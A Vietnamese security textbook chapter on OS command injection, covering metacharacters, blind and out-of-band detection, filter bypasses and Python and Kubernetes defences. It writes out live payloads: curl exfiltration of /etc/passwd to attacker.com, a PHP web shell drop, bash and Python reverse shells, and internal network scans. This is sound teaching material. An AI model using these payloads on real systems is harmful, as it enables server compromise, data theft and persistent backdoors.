Chương 14: Command Injection
Khái niệm
Command Injection (OS Command Injection — Tiêm lệnh OS) là lỗ hổng cho phép hacker thực thi arbitrary OS commands trên server bằng cách inject vào user input được truyền vào shell commands.
Mức độ nguy hiểm: Rất cao — Command injection = full server compromise. Hacker có thể đọc files, tạo backdoors, pivot sang internal network.
Xảy ra khi application gọi OS commands với unsanitized user input.
Cách hoạt động
# Vulnerable code: ping một IP do user nhập
def ping_host(ip_address):
result = os.system(f"ping -c 1 {ip_address}")
return result
# Normal: ip_address = "8.8.8.8"
# Command: ping -c 1 8.8.8.8
# Attack: ip_address = "8.8.8.8; cat /etc/passwd"
# Command: ping -c 1 8.8.8.8; cat /etc/passwd
# → Ping thành công, sau đó đọc /etc/passwd
Shell Metacharacters — Vũ khí tấn công
; Chạy command tiếp theo
&& Chạy command tiếp theo NẾU command trước thành công
|| Chạy command tiếp theo NẾU command trước THẤT BẠI
| Pipe output sang command kế tiếp
` Backtick: thực thi command và thay bằng output
$() Command substitution: $(command)
\n Newline: command mới trên dòng mới
Ví dụ:
8.8.8.8; id
8.8.8.8 && id
8.8.8.8 | id
8.8.8.8 `id`
8.8.8.8 $(id)
Các loại Command Injection
1. In-Band (Direct) — Output hiển thị trong response
Input: 127.0.0.1; cat /etc/passwd
Output hiển thị trực tiếp:
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
...
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
2. Blind Command Injection — Không có output
Phổ biến hơn in-band. App thực thi command nhưng không hiển thị kết quả.
Time-based detection:
# Nếu command thực thi, sẽ delay response
ping -c 1 127.0.0.1; sleep 10
127.0.0.1 & sleep 10 &
127.0.0.1 && sleep 10
127.0.0.1 | sleep 10
# Nếu response chậm hơn 10 giây → command injection confirmed
Output redirection:
# Redirect output vào web-accessible file
127.0.0.1; id > /var/www/html/output.txt
# Sau đó: curl https://example.com/output.txt
127.0.0.1; cat /etc/passwd > /var/www/html/passwd.txt
Out-of-Band (OAST) — Dùng DNS/HTTP:
# Trigger DNS lookup đến domain hacker kiểm soát
127.0.0.1; nslookup `id`.attacker.com
# → DNS query: uid=33(www-data).attacker.com → biết command chạy với quyền gì
# Curl để exfiltrate data
127.0.0.1; curl https://attacker.com/$(whoami)
127.0.0.1; curl https://attacker.com/data --data @/etc/passwd
# Ping
127.0.0.1; ping -c 1 $(hostname).attacker.com
3. Time-Based Blind Injection
# Phân tích timing để extract data từng bit
# Nếu user là root → sleep 5 giây
; if [ "$(whoami)" = "root" ]; then sleep 5; fi
# Extract file content ký tự một:
; if [ "$(cut -c1 /etc/passwd)" = "r" ]; then sleep 3; fi
# Delay → ký tự đầu là 'r'
; if [ "$(cut -c2 /etc/passwd)" = "o" ]; then sleep 3; fi
# Delay → ký tự 2 là 'o'
Khai thác thực tế
Web Shell Upload qua Command Injection
# Tạo persistent backdoor
127.0.0.1; echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php
# Bây giờ:
curl "https://example.com/shell.php?cmd=id"
# → uid=33(www-data) gid=33(www-data)
curl "https://example.com/shell.php?cmd=cat+/etc/passwd"
# → Full /etc/passwd
curl "https://example.com/shell.php?cmd=ls+-la+/"
Reverse Shell
# Attacker lắng nghe trên port 4444
nc -lvnp 4444
# Inject reverse shell vào target
127.0.0.1; bash -i >& /dev/tcp/attacker.com/4444 0>&1
# Hoặc Python:
127.0.0.1; python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.com",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Internal Network Pivot
# Sau khi có shell trên server:
# Scan internal network
127.0.0.1; for i in 10.0.0.{1..254}; do (ping -c1 $i 2>&1 >/dev/null && echo "UP: $i")& done; wait
# Scan specific port
127.0.0.1; for i in 10.0.0.{1..10}; do nc -zv $i 22 2>&1; done
# Pivot đến database
127.0.0.1; mysql -h 10.0.0.5 -u root -p'password' -e "SHOW DATABASES;"
Bypass Techniques
Bypass Spaces
# Nếu space bị filter
${IFS} # Internal Field Separator = space by default
$'\x20' # Hex space
{cat,/etc/passwd} # No space needed
cat</etc/passwd # Redirect without space
X=$'cat\x20/etc/passwd'&&$X
Bypass Blacklisted Keywords
# "cat" bị filter
c'a't /etc/passwd
c${u}at /etc/passwd
ca\t /etc/passwd
$(printf '\143\141\164') /etc/passwd # 'c','a','t' in octal
/bin/c?t /etc/passwd # Wildcard
# "passwd" bị filter
/etc/pa??wd
/etc/pass'wd'
URL Encoding
Thường encode qua Burp Decoder:
; → %3B
| → %7C
& → %26
$ → %24
( → %28
Cách phát hiện
□ Tìm features liên quan đến OS commands:
- Ping/traceroute tools
- File conversion tools
- PDF/image generation
- Network diagnostic tools
- Backup/archive features
□ Test với time delay: ; sleep 10
□ Test với out-of-band: ; nslookup attacker.com
□ Kiểm tra Burp Collaborator nếu có Pro
□ Test variations:
; id
&& id
| id
`id`
$(id)
|| id
%0a id (newline)
Phòng chống
1. Tránh gọi OS commands — Best Practice
# SAI: Gọi ping command
import os
def ping(ip):
return os.system(f"ping -c 1 {ip}")
# ĐÚNG: Dùng Python library thay thế
import subprocess
import ipaddress
def ping(ip):
# Validate IP trước
try:
ipaddress.ip_address(ip) # Validate IP format
except ValueError:
raise ValueError("Invalid IP address")
# Dùng list argument thay vì shell string
result = subprocess.run(
["ping", "-c", "1", ip], # List, không phải string
capture_output=True,
text=True,
timeout=5,
shell=False # QUAN TRỌNG: shell=False
)
return result.stdout
2. Shell=False (subprocess với list arguments)
import subprocess
# SAI: shell=True với string → dễ inject
def run_command(user_input):
result = subprocess.run(
f"echo {user_input}",
shell=True, # ← NGUY HIỂM
capture_output=True
)
# ĐÚNG: shell=False với list
def run_command(user_input):
# Validate first
if not re.match(r'^[a-zA-Z0-9 ]+$', user_input):
raise ValueError("Invalid input")
result = subprocess.run(
["echo", user_input], # List: each element is a separate argument
shell=False, # Shell not invoked → metacharacters not interpreted
capture_output=True,
text=True,
timeout=5
)
return result.stdout
3. Input Validation — Strict Whitelist
import re
import ipaddress
def validate_ip(ip: str) -> str:
"""Chỉ accept valid IPv4/IPv6 addresses"""
try:
return str(ipaddress.ip_address(ip))
except ValueError:
raise ValueError(f"Invalid IP address: {ip}")
def validate_hostname(hostname: str) -> str:
"""Chỉ accept valid hostnames"""
pattern = r'^[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z]{2,})+$'
if not re.match(pattern, hostname):
raise ValueError(f"Invalid hostname: {hostname}")
return hostname
def validate_filename(filename: str) -> str:
"""Chỉ accept safe filenames"""
# Chỉ cho phép alphanumeric, dash, underscore, dot
if not re.match(r'^[a-zA-Z0-9_\-\.]+$', filename):
raise ValueError(f"Invalid filename: {filename}")
# Không cho phép path traversal
if '..' in filename or '/' in filename:
raise ValueError("Path traversal not allowed")
return filename
4. Least Privilege cho Process
# Dockerfile: chạy app với user không có quyền cao
FROM python:3.11-slim
# Tạo non-root user
RUN groupadd -r appuser && useradd -r -g appuser appuser
# Switch sang non-root user
USER appuser
# App chạy với quyền của appuser
# Ngay cả khi có command injection, thiệt hại bị giới hạn
Góc nhìn DevOps
Kubernetes: Hạn chế capabilities của container:
apiVersion: v1
kind: Pod
spec:
securityContext:
runAsNonRoot: true
runAsUser: 1000
seccompProfile:
type: RuntimeDefault
containers:
- name: app
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true # Không ghi được → shell upload khó hơn
capabilities:
drop:
- ALL # Drop tất cả Linux capabilities
Network Policy — Hạn chế outbound connections:
# Ngăn container kết nối ra ngoài (limit reverse shell)
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-egress
spec:
podSelector:
matchLabels:
app: webapp
policyTypes:
- Egress
egress:
- to:
- podSelector:
matchLabels:
app: database
ports:
- protocol: TCP
port: 5432
# Chỉ allow kết nối đến database, không có gì khác
SAST để detect command injection:
# Semgrep rules
semgrep --config=p/command-injection src/
# Bandit cho Python
bandit -r . -t B602,B603,B604,B605,B606,B607
# Tìm os.system, os.popen, subprocess với shell=True
grep -rn "os\.system\|os\.popen\|shell=True" src/
Tóm tắt
- Command injection = inject OS commands vào user input được truyền vào shell.
- Blind injection phổ biến hơn: detect qua time delay hoặc out-of-band (DNS).
- Metacharacters:
;,&&,||,|, backtick,$()là công cụ tấn công. - Phòng chống #1: Tránh gọi OS commands — dùng library thay thế.
- Nếu phải gọi commands:
shell=False+ list arguments + whitelist validation. - Least privilege: chạy app với non-root user, drop capabilities.
- Network policy hạn chế outbound giảm impact của reverse shell.
Câu hỏi ôn tập
- Sự khác nhau giữa in-band và blind command injection là gì? Loại nào phổ biến hơn?
- Tại sao
subprocess.run(["cmd", arg], shell=False)an toàn hơnshell=True? - Mô tả ba kỹ thuật phát hiện blind command injection.
- Nếu hacker có command injection nhưng app chạy với user giới hạn quyền, impact như thế nào?
- Làm thế nào Network Policy trong Kubernetes giới hạn impact của command injection?